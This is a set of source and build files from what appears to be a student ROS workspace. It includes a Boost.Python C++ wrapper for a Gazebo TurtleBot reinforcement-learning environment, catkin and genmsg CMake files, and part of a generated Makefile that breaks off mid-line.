"1a9584345fa5a648193e6d610c6fa185480eda73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 869, "license_type": "no_license", "max_line_length": 89, "num_lines": 16, "path": "/build/boost-python-catkin-example-master/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"boost_python_catkin_example\")\nset(boost_python_catkin_example_VERSION \"1.0.0\")\nset(boost_python_catkin_example_MAINTAINER \"Felix Widmaier <[email protected]>\")\nset(boost_python_catkin_example_PACKAGE_FORMAT \"1\")\nset(boost_python_catkin_example_BUILD_DEPENDS )\nset(boost_python_catkin_example_BUILD_EXPORT_DEPENDS )\nset(boost_python_catkin_example_BUILDTOOL_DEPENDS \"catkin\")\nset(boost_python_catkin_example_BUILDTOOL_EXPORT_DEPENDS )\nset(boost_python_catkin_example_EXEC_DEPENDS )\nset(boost_python_catkin_example_RUN_DEPENDS )\nset(boost_python_catkin_example_TEST_DEPENDS )\nset(boost_python_catkin_example_DOC_DEPENDS )\nset(boost_python_catkin_example_URL_WEBSITE \"https://github.com/luator/ros-boost-python\")\nset(boost_python_catkin_example_URL_BUGTRACKER \"\")\nset(boost_python_catkin_example_URL_REPOSITORY \"\")\nset(boost_python_catkin_example_DEPRECATED \"\")" }, { "alpha_fraction": 0.5498554706573486, "alphanum_fraction": 0.5698802471160889, "avg_line_length": 23.14214515686035, "blob_id": "4110c4d347e596a05cb20334e6b5d7e436da25d5", "content_id": "22ce8f04dd66435de0cb2371ab4a4c22914444d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9688, "license_type": "no_license", "max_line_length": 138, "num_lines": 401, "path": "/src/boost-python-catkin-example-master/src/mycpplib.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "\n\n\n\n\n\n\n#include <iostream>\n#include <boost/python.hpp>\n#include <boost/python/list.hpp>\n#include <boost/python/extract.hpp>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <cmath>\n#include <ros/ros.h>\n#include <std_msgs/Float64.h>\n#include <geometry_msgs/Twist.h>\n#include <geometry_msgs/Pose.h>\n#include <std_srvs/Empty.h>\n#include <gazebo_msgs/SpawnModel.h>\n#include <gazebo_msgs/DeleteModel.h>\n#include <tf/tf.h>\n#include <geometry_msgs/Pose.h>\n#include <nav_msgs/Odometry.h>\n#include <vector>\n#include <boost/python/suite/indexing/vector_indexing_suite.hpp>\n#include <boost/python/numpy.hpp>\n#include <sensor_msgs/LaserScan.h>\n#include <std_msgs/String.h>\n#include <algorithm> \n#include <cstdlib>\n#include <fstream>\n#include <tf2/LinearMath/Quaternion.h>\n\n//#include <condition_variable> // std::condition_variable\n\n\n\n//using namespace std;\n //using namespace std::placeholders; \n//namespace p = boost::python;\n//namespace np = boost::python::numpy;\ntypedef std::vector<float> MyList;\nclass World\n{\nprivate:\n\t\n float goal_angle =0.0;\n float heading = 0.0;\n float min_range = 0.15;\n float goal_x = 0.0;\n float goal_y = 0.0;\n std::string mMsg;\n int count = 0;\n float goal_distance = 0.0;\n int old_count = 0;\n float past_distance = 0.0;\n float pos_x = 0.0;\n float pos_y = 0.0;\n geometry_msgs::Twist msg;\n geometry_msgs::Twist msg_empty;\n ros::NodeHandle n;\n MyList action = MyList(2);\n MyList past_action = MyList(2);\n MyList state = MyList(15);\n bool done = false;\n bool get_goalbox = false;\n float distance = 0.0;\n float reward = 0;\n //float past_action = 0;\n geometry_msgs::Pose post;\n MyList goal_x_list = {0.6, 1.9, 0.5, 0.2, -0.8, -1, -1.9, 0.5, 2, 0.5, 0, -0.1, -2};\n MyList goal_y_list = {0, -0.5, -1.9, 1.5, -0.9, 1, 1.1, -1.5, 1.5, 1.8, -1, 1.6, -0.8};\n // int rand();\n double yaw = 0;\n bool init_goal = true;\n \n\n\n\n\npublic: \n\n //nav_msgs::Odometry::ConstPtr msg;\n\n ros::Publisher chatter_pub = n.advertise<geometry_msgs::Twist>(\"cmd_vel\", 5); \n //ros::Subscriber odom_sub = n.subscribe(\"odom\", 1, std::bind(getOdometry, &msg));\n ros::Subscriber sub_t = n.subscribe(\"odom\", 1, &World::getOdometry, this);\n //ros::Subscriber scan = n.subscribe(\"scan\", 1, &World::getScan, this);\nsensor_msgs::LaserScanConstPtr test3 = ros::topic::waitForMessage<sensor_msgs::LaserScan>(\"scan\");\n\n\n\n//SOMETHING HERE \n //self.respawn_goal = Respawn()\n\n\n ros::ServiceClient reset_proxy = n.serviceClient<std_srvs::Empty>(\"gazebo/reset_simulation\"); \n ros::ServiceClient pauseGazebo = n.serviceClient<std_srvs::Empty>(\"/gazebo/pause_physics\");\n ros::ServiceClient unpauseGazebo = n.serviceClient<std_srvs::Empty>(\"/gazebo/unpause_physics\");\n std_srvs::Empty emptySrv;\n //pauseGazebo.call(emptySrv);\n //msg_empty.linear.x = 0.0;\n // msg_empty.angular.z = 0.0;\n\n\n\n\n//unpause_proxy\n void unpause_proxy() {\n unpauseGazebo.call(emptySrv);\n }\n\n//pause_proxy\n void pause_proxy() {\n pauseGazebo.call(emptySrv);\n }\n\n\n//getGoaldistance\n float getGoalDistance() {\n\tgoal_distance = hypot(post.position.x - pos_x, post.position.y-pos_y);\n\tstate[13] = goal_distance;\n\n }\n\n//getOdometry\n\n void getOdometry(const nav_msgs::Odometry::ConstPtr& msg) {\n\tpos_x = msg->pose.pose.position.x;\n\tpos_y = msg->pose.pose.position.y;\n\n\tgeometry_msgs::Quaternion q = msg->pose.pose.orientation;\n\tdouble siny_cosp = +2.0 * (q.w * q.z + q.x * q.y);\n\tdouble cosy_cosp = +1.0 - 2.0 * (q.y * q.y + q.z * q.z); \n\tyaw = atan2(siny_cosp, cosy_cosp);\n\tgoal_angle = atan2(post.position.x - pos_x, post.position.y-pos_y);\n\theading = goal_angle - yaw;\n\n\tif (heading > 3.14)\n heading -= 2 * 3.14;\n\n else if (heading < -3.14)\n heading += 2 * 3.14;\n\tstate[12] = heading;\n }\n\n//getScan\n void getScan(const sensor_msgs::LaserScan::ConstPtr& msg) {\n\tfor (int i =0; i <10; ++i) {\n\t state[i] = msg->ranges[i];\n\n\t if (state[i] > 3.5)\n\t\tstate[i] = 3.5;\t \t \t\n\t}\n\t count = msg->header.seq;\n }\n\n//getstate\n void getState() {\n\n\tfor (int i =0; i<10; ++i) {\n\t\t//std::min_element(state.begin(), state.end());\n\t if (state[i] < min_range) \n\t\t{done = true;\n\t\t//state[12] = state[i];\n\t\t//state[13] = 5;\n\t\tbreak;\n\t\t}\n\t}\n\tgetGoalDistance();\n\t//distance = hypot(goal_x - pos_x, goal_y-pos_y);\t \n\tif (goal_distance < 0.2) \n\t get_goalbox = true;\n }\n\n//setreward\n void setReward() {\n\t\n float distance_rate = past_distance - goal_distance;\n\treward = (500 * distance_rate);\n\tpast_distance = goal_distance;\n\t\n\tif (done) {\n\t ROS_INFO(\"Collision!\");\n\t reward = -150;\n\t chatter_pub.publish(msg_empty);\n\t reset();\n\t done = false;\n\t}\n\tif (get_goalbox) {\n\t ROS_INFO(\"Goal!\");\n\t reward = 200;\n\t deleteGoal();\n\t spawnGoal();\n\n\t ///// new goal and get position?\n\t /////////////////////////////////\n\t /////////////////////////////////\n\t getGoalDistance();\n\t get_goalbox = false;\n\t}\n\n\t//current_distance = \n\n }\n\n//step\n MyList step(boost::python::list msgs, boost::python::list msgs2) {\n long l = len(msgs);\n long l2 = len(msgs2);\n\n for (long i = 0; i<l; ++i) {\n\n action[i] = boost::python::extract<float>(msgs[i]);\n\t}\t\n for (long i = 0; i<l2; ++i) {\n\n past_action[i] = boost::python::extract<float>(msgs2[i]);\n\t}\t\n if (action[1] > 1.0) {\n action[1] = 1.0;\n\t }\n\t else if (action[1] < -1.0) {\n\t\taction[1] = -1.0;\n\t }\n\tstate[11] = past_action[0];\n\tstate[12] = past_action[1];\n\tmsg.linear.x = action[0]*0.3;\n\tmsg.angular.z = action[1];\n\twhile (test3 == NULL)\n\t{\n\t} \n\t\n\tfor (int i =0; i <10; ++i) {\n\t state[i] = test3->ranges[i];\n\n\t if (state[i] > 3.5)\n\t\tstate[i] = 3.5;\t \t \t\n\t}\n\t//state[13] = test3->header.seq;\n\n\n\ttest3 = ros::topic::waitForMessage<sensor_msgs::LaserScan>(\"scan\");\n\n\tchatter_pub.publish(msg);\n\t//////////////////////////////////////////\n //need to make so this function can only run once per laser scan...\n\t//currently it will not publis until there is a new laser scan, I need it to run only once per scan \n\t///////////////////////////////////////////\n\t//////////////////////////////////////////\n\t/////////////////////////////////////////\n\n\told_count = count;\n\tgetState();\n\tsetReward();\n\tstate[14] = reward;\n\n\treturn state;\n\n }\n\n//reset\n void reset() {\n\tros::service::waitForService(\"gazebo/reset_simulation\");\n\ttry {\n\t reset_proxy.call(emptySrv);\n\t}\n\tcatch (int e) {\n\t ROS_INFO(\"Unable to reset Gazebo. Service call failed\");\n\t}\n\t\n\tif (init_goal == true) {\n\t spawnGoal();\n\t init_goal = false;\n\t}\n\t\n\tgetGoalDistance();\n\t\n }\n\n void spawnGoal() {\n\n \tros::service::waitForService(\"gazebo/spawn_sdf_model\");\n \tgazebo_msgs::SpawnModel model;\n \n \tros::ServiceClient spawn_model = n.serviceClient<gazebo_msgs::SpawnModel>(\"gazebo/spawn_sdf_model\");\n \tstd::ifstream file(\"/home/justin/ros_test/src/turtlebot3_simulations/turtlebot3_gazebo/models/turtlebot3_square/goal_box/model.sdf\");\n\n \tstd::string line;\n \n \twhile(!file.eof()) // Parse the contents of the given urdf in a string\n \t{\n \t std::getline(file,line);\n model.request.model_xml+=line;\n \t}\n \tfile.close();\n\t//int temp = rand();\n \tpost.position.x = goal_x_list[rand()%13];\n \tpost.position.y = goal_y_list[rand()%13];\n \n \tmodel.request.model_name=\"goal\";\n \tmodel.request.reference_frame=\"world\";\n \tmodel.request.initial_pose = post;\n \tspawn_model.call(model); //Call the service\n\n\tgetGoalDistance();\n\n }\n\n\n void deleteGoal() {\n\t\n\tros::service::waitForService(\"gazebo/delete_model\");\n \tgazebo_msgs::DeleteModel model;\n\tros::ServiceClient delete_model = n.serviceClient<gazebo_msgs::DeleteModel>(\"gazebo/delete_model\");\n\tmodel.request.model_name = \"goal\";\n\tdelete_model.call(model);\n\n\t//send an 0 cmd_vel command\n\t//chatter_pub.publish(msg_empty);\n\n }\n\n\n\n/*\n\n\n\n get position\ncheck model\n def deleteModel(self):\n while True:\n if self.check_model:\n rospy.wait_for_service('gazebo/delete_model')\n del_model_prox = rospy.ServiceProxy('gazebo/delete_model', DeleteModel)\n del_model_prox(self.modelName)\n break\n else:\n pass\n\n\n*/\n\n\n//used for learning\n void many(boost::python::list msgs) {\n long l = len(msgs);\n std::stringstream ss;\n for (long i = 0; i<l; ++i) {\n if (i>0) ss << \", \";\n std::string s = boost::python::extract<std::string>(msgs[i]);\n ss << s;\n }\n mMsg = ss.str();\n }\n\n//used for learing\n void chat() {\n \tmsg.linear.x = pos_x;\n \tmsg.angular.z = 5; \n chatter_pub.publish(msg);\n }\n\n\n//returns value\n MyList greet() { return state; }\n\n\n\n\n};\n\n\n///////////////////////////////////////////////////////////////////////////////////\n\n//namespace bn = boost::python::numpy;\n\n\n///////////////////////////////////////////////////////////////////////////////////////////\nusing namespace boost::python;\n\nBOOST_PYTHON_MODULE(mycpplib)\n{\n\n //boost::python::numpy::initialize();\n\n //def(\"testf\", testf);\n\n class_<MyList>(\"MyList\")\n .def(vector_indexing_suite<MyList>() );\n\n class_<World>(\"World\")\n\n\n .def(\"greet\", &World::greet)\n .def(\"pause_proxy\", &World::pause_proxy)\n .def(\"unpause_proxy\", &World::unpause_proxy)\n .def(\"reset\", &World::reset) \n .def(\"step\", &World::step)\n .def(\"many\", &World::many)\n .def(\"chat\", &World::chat)\n .def(\"spawnGoal\", &World::spawnGoal)\n .def(\"deleteGoal\", &World::deleteGoal)\n ;\n};\n" }, { "alpha_fraction": 0.7618767619132996, "alphanum_fraction": 0.7736359238624573, "avg_line_length": 33.01599884033203, "blob_id": "f4db42256adbd2023e74e267103cf49c276c2a98", "content_id": "5aa201566dc316c7b034479e99bb80c4408c297d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 8504, "license_type": "no_license", "max_line_length": 144, "num_lines": 250, "path": "/build/homework2/cmake/homework2-genmsg.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# generated from genmsg/cmake/pkg-genmsg.cmake.em\n\nmessage(STATUS \"homework2: 0 messages, 1 services\")\n\nset(MSG_I_FLAGS \"-Istd_msgs:/opt/ros/melodic/share/std_msgs/cmake/../msg\")\n\n# Find all generators\nfind_package(gencpp REQUIRED)\nfind_package(geneus REQUIRED)\nfind_package(genlisp REQUIRED)\nfind_package(gennodejs REQUIRED)\nfind_package(genpy REQUIRED)\n\nadd_custom_target(homework2_generate_messages ALL)\n\n# verify that message/service dependencies have not changed since configure\n\n\n\nget_filename_component(_filename \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" NAME_WE)\nadd_custom_target(_homework2_generate_messages_check_deps_${_filename}\n COMMAND ${CATKIN_ENV} ${PYTHON_EXECUTABLE} ${GENMSG_CHECK_DEPS_SCRIPT} \"homework2\" \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" \"\"\n)\n\n#\n# langs = gencpp;geneus;genlisp;gennodejs;genpy\n#\n\n### Section generating for lang: gencpp\n### Generating Messages\n\n### Generating Services\n_generate_srv_cpp(homework2\n \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\"\n \"${MSG_I_FLAGS}\"\n \"\"\n ${CATKIN_DEVEL_PREFIX}/${gencpp_INSTALL_DIR}/homework2\n)\n\n### Generating Module File\n_generate_module_cpp(homework2\n ${CATKIN_DEVEL_PREFIX}/${gencpp_INSTALL_DIR}/homework2\n \"${ALL_GEN_OUTPUT_FILES_cpp}\"\n)\n\nadd_custom_target(homework2_generate_messages_cpp\n DEPENDS ${ALL_GEN_OUTPUT_FILES_cpp}\n)\nadd_dependencies(homework2_generate_messages homework2_generate_messages_cpp)\n\n# add dependencies to all check dependencies targets\nget_filename_component(_filename \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" NAME_WE)\nadd_dependencies(homework2_generate_messages_cpp _homework2_generate_messages_check_deps_${_filename})\n\n# target for backward compatibility\nadd_custom_target(homework2_gencpp)\nadd_dependencies(homework2_gencpp homework2_generate_messages_cpp)\n\n# register target for catkin_package(EXPORTED_TARGETS)\nlist(APPEND ${PROJECT_NAME}_EXPORTED_TARGETS homework2_generate_messages_cpp)\n\n### Section generating for lang: geneus\n### Generating Messages\n\n### Generating Services\n_generate_srv_eus(homework2\n \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\"\n \"${MSG_I_FLAGS}\"\n \"\"\n ${CATKIN_DEVEL_PREFIX}/${geneus_INSTALL_DIR}/homework2\n)\n\n### Generating Module File\n_generate_module_eus(homework2\n ${CATKIN_DEVEL_PREFIX}/${geneus_INSTALL_DIR}/homework2\n \"${ALL_GEN_OUTPUT_FILES_eus}\"\n)\n\nadd_custom_target(homework2_generate_messages_eus\n DEPENDS ${ALL_GEN_OUTPUT_FILES_eus}\n)\nadd_dependencies(homework2_generate_messages homework2_generate_messages_eus)\n\n# add dependencies to all check dependencies targets\nget_filename_component(_filename \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" NAME_WE)\nadd_dependencies(homework2_generate_messages_eus _homework2_generate_messages_check_deps_${_filename})\n\n# target for backward compatibility\nadd_custom_target(homework2_geneus)\nadd_dependencies(homework2_geneus homework2_generate_messages_eus)\n\n# register target for catkin_package(EXPORTED_TARGETS)\nlist(APPEND ${PROJECT_NAME}_EXPORTED_TARGETS homework2_generate_messages_eus)\n\n### Section generating for lang: genlisp\n### Generating Messages\n\n### Generating Services\n_generate_srv_lisp(homework2\n \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\"\n \"${MSG_I_FLAGS}\"\n \"\"\n ${CATKIN_DEVEL_PREFIX}/${genlisp_INSTALL_DIR}/homework2\n)\n\n### Generating Module File\n_generate_module_lisp(homework2\n ${CATKIN_DEVEL_PREFIX}/${genlisp_INSTALL_DIR}/homework2\n \"${ALL_GEN_OUTPUT_FILES_lisp}\"\n)\n\nadd_custom_target(homework2_generate_messages_lisp\n DEPENDS ${ALL_GEN_OUTPUT_FILES_lisp}\n)\nadd_dependencies(homework2_generate_messages homework2_generate_messages_lisp)\n\n# add dependencies to all check dependencies targets\nget_filename_component(_filename \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" NAME_WE)\nadd_dependencies(homework2_generate_messages_lisp _homework2_generate_messages_check_deps_${_filename})\n\n# target for backward compatibility\nadd_custom_target(homework2_genlisp)\nadd_dependencies(homework2_genlisp homework2_generate_messages_lisp)\n\n# register target for catkin_package(EXPORTED_TARGETS)\nlist(APPEND ${PROJECT_NAME}_EXPORTED_TARGETS homework2_generate_messages_lisp)\n\n### Section generating for lang: gennodejs\n### Generating Messages\n\n### Generating Services\n_generate_srv_nodejs(homework2\n \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\"\n \"${MSG_I_FLAGS}\"\n \"\"\n ${CATKIN_DEVEL_PREFIX}/${gennodejs_INSTALL_DIR}/homework2\n)\n\n### Generating Module File\n_generate_module_nodejs(homework2\n ${CATKIN_DEVEL_PREFIX}/${gennodejs_INSTALL_DIR}/homework2\n \"${ALL_GEN_OUTPUT_FILES_nodejs}\"\n)\n\nadd_custom_target(homework2_generate_messages_nodejs\n DEPENDS ${ALL_GEN_OUTPUT_FILES_nodejs}\n)\nadd_dependencies(homework2_generate_messages homework2_generate_messages_nodejs)\n\n# add dependencies to all check dependencies targets\nget_filename_component(_filename \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" NAME_WE)\nadd_dependencies(homework2_generate_messages_nodejs _homework2_generate_messages_check_deps_${_filename})\n\n# target for backward compatibility\nadd_custom_target(homework2_gennodejs)\nadd_dependencies(homework2_gennodejs homework2_generate_messages_nodejs)\n\n# register target for catkin_package(EXPORTED_TARGETS)\nlist(APPEND ${PROJECT_NAME}_EXPORTED_TARGETS homework2_generate_messages_nodejs)\n\n### Section generating for lang: genpy\n### Generating Messages\n\n### Generating Services\n_generate_srv_py(homework2\n \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\"\n \"${MSG_I_FLAGS}\"\n \"\"\n ${CATKIN_DEVEL_PREFIX}/${genpy_INSTALL_DIR}/homework2\n)\n\n### Generating Module File\n_generate_module_py(homework2\n ${CATKIN_DEVEL_PREFIX}/${genpy_INSTALL_DIR}/homework2\n \"${ALL_GEN_OUTPUT_FILES_py}\"\n)\n\nadd_custom_target(homework2_generate_messages_py\n DEPENDS ${ALL_GEN_OUTPUT_FILES_py}\n)\nadd_dependencies(homework2_generate_messages homework2_generate_messages_py)\n\n# add dependencies to all check dependencies targets\nget_filename_component(_filename \"/home/justin/ros_test/src/homework2/srv/string_cat.srv\" NAME_WE)\nadd_dependencies(homework2_generate_messages_py _homework2_generate_messages_check_deps_${_filename})\n\n# target for backward compatibility\nadd_custom_target(homework2_genpy)\nadd_dependencies(homework2_genpy homework2_generate_messages_py)\n\n# register target for catkin_package(EXPORTED_TARGETS)\nlist(APPEND ${PROJECT_NAME}_EXPORTED_TARGETS homework2_generate_messages_py)\n\n\n\nif(gencpp_INSTALL_DIR AND EXISTS ${CATKIN_DEVEL_PREFIX}/${gencpp_INSTALL_DIR}/homework2)\n # install generated code\n install(\n DIRECTORY ${CATKIN_DEVEL_PREFIX}/${gencpp_INSTALL_DIR}/homework2\n DESTINATION ${gencpp_INSTALL_DIR}\n )\nendif()\nif(TARGET std_msgs_generate_messages_cpp)\n add_dependencies(homework2_generate_messages_cpp std_msgs_generate_messages_cpp)\nendif()\n\nif(geneus_INSTALL_DIR AND EXISTS ${CATKIN_DEVEL_PREFIX}/${geneus_INSTALL_DIR}/homework2)\n # install generated code\n install(\n DIRECTORY ${CATKIN_DEVEL_PREFIX}/${geneus_INSTALL_DIR}/homework2\n DESTINATION ${geneus_INSTALL_DIR}\n )\nendif()\nif(TARGET std_msgs_generate_messages_eus)\n add_dependencies(homework2_generate_messages_eus std_msgs_generate_messages_eus)\nendif()\n\nif(genlisp_INSTALL_DIR AND EXISTS ${CATKIN_DEVEL_PREFIX}/${genlisp_INSTALL_DIR}/homework2)\n # install generated code\n install(\n DIRECTORY ${CATKIN_DEVEL_PREFIX}/${genlisp_INSTALL_DIR}/homework2\n DESTINATION ${genlisp_INSTALL_DIR}\n )\nendif()\nif(TARGET std_msgs_generate_messages_lisp)\n add_dependencies(homework2_generate_messages_lisp std_msgs_generate_messages_lisp)\nendif()\n\nif(gennodejs_INSTALL_DIR AND EXISTS ${CATKIN_DEVEL_PREFIX}/${gennodejs_INSTALL_DIR}/homework2)\n # install generated code\n install(\n DIRECTORY ${CATKIN_DEVEL_PREFIX}/${gennodejs_INSTALL_DIR}/homework2\n DESTINATION ${gennodejs_INSTALL_DIR}\n )\nendif()\nif(TARGET std_msgs_generate_messages_nodejs)\n add_dependencies(homework2_generate_messages_nodejs std_msgs_generate_messages_nodejs)\nendif()\n\nif(genpy_INSTALL_DIR AND EXISTS ${CATKIN_DEVEL_PREFIX}/${genpy_INSTALL_DIR}/homework2)\n install(CODE \"execute_process(COMMAND \\\"/usr/bin/python2\\\" -m compileall \\\"${CATKIN_DEVEL_PREFIX}/${genpy_INSTALL_DIR}/homework2\\\")\")\n # install generated code\n install(\n DIRECTORY ${CATKIN_DEVEL_PREFIX}/${genpy_INSTALL_DIR}/homework2\n DESTINATION ${genpy_INSTALL_DIR}\n )\nendif()\nif(TARGET std_msgs_generate_messages_py)\n add_dependencies(homework2_generate_messages_py std_msgs_generate_messages_py)\nendif()\n" }, { "alpha_fraction": 0.6954732537269592, "alphanum_fraction": 0.7009602189064026, "avg_line_length": 44.625, "blob_id": "f60d9f38236e2599d2da9ae8f186f587110570d8", "content_id": "1fff917c90556dd400dc735ec835ad15645ffa84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 729, "license_type": "no_license", "max_line_length": 97, "num_lines": 16, "path": "/build/rl-texplore-ros-pkg-master/src/rl_env/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"rl_env\")\nset(rl_env_VERSION \"0.0.0\")\nset(rl_env_MAINTAINER \"Todd Hester <[email protected]>\")\nset(rl_env_PACKAGE_FORMAT \"1\")\nset(rl_env_BUILD_DEPENDS \"roscpp\" \"std_msgs\" \"rl_msgs\" \"tf\" \"rl_common\")\nset(rl_env_BUILD_EXPORT_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\" \"rl_msgs\" \"tf\" \"rl_common\")\nset(rl_env_BUILDTOOL_DEPENDS \"catkin\")\nset(rl_env_BUILDTOOL_EXPORT_DEPENDS )\nset(rl_env_EXEC_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\" \"rl_msgs\" \"tf\" \"rl_common\")\nset(rl_env_RUN_DEPENDS \"message_runtime\" \"roscpp\" \"std_msgs\" \"rl_msgs\" \"tf\" \"rl_common\")\nset(rl_env_TEST_DEPENDS )\nset(rl_env_DOC_DEPENDS )\nset(rl_env_URL_WEBSITE \"\")\nset(rl_env_URL_BUGTRACKER \"\")\nset(rl_env_URL_REPOSITORY \"\")\nset(rl_env_DEPRECATED \"\")" }, { "alpha_fraction": 0.7657300233840942, "alphanum_fraction": 0.7690607309341431, "avg_line_length": 44.93185043334961, "blob_id": "2cdcf8ebc147e59aee10fd359fa6f902a983e03a", "content_id": "3c58a88cbde3904dedd924717c9bcb82834138cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 33026, "license_type": "no_license", "max_line_length": 216, "num_lines": 719, "path": "/build/nav_stack_example/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/nav_stack_example/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 nav_stack_example/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nnav_stack_example/CMakeFiles/nav_stack_node.dir/rule:\n\tcd 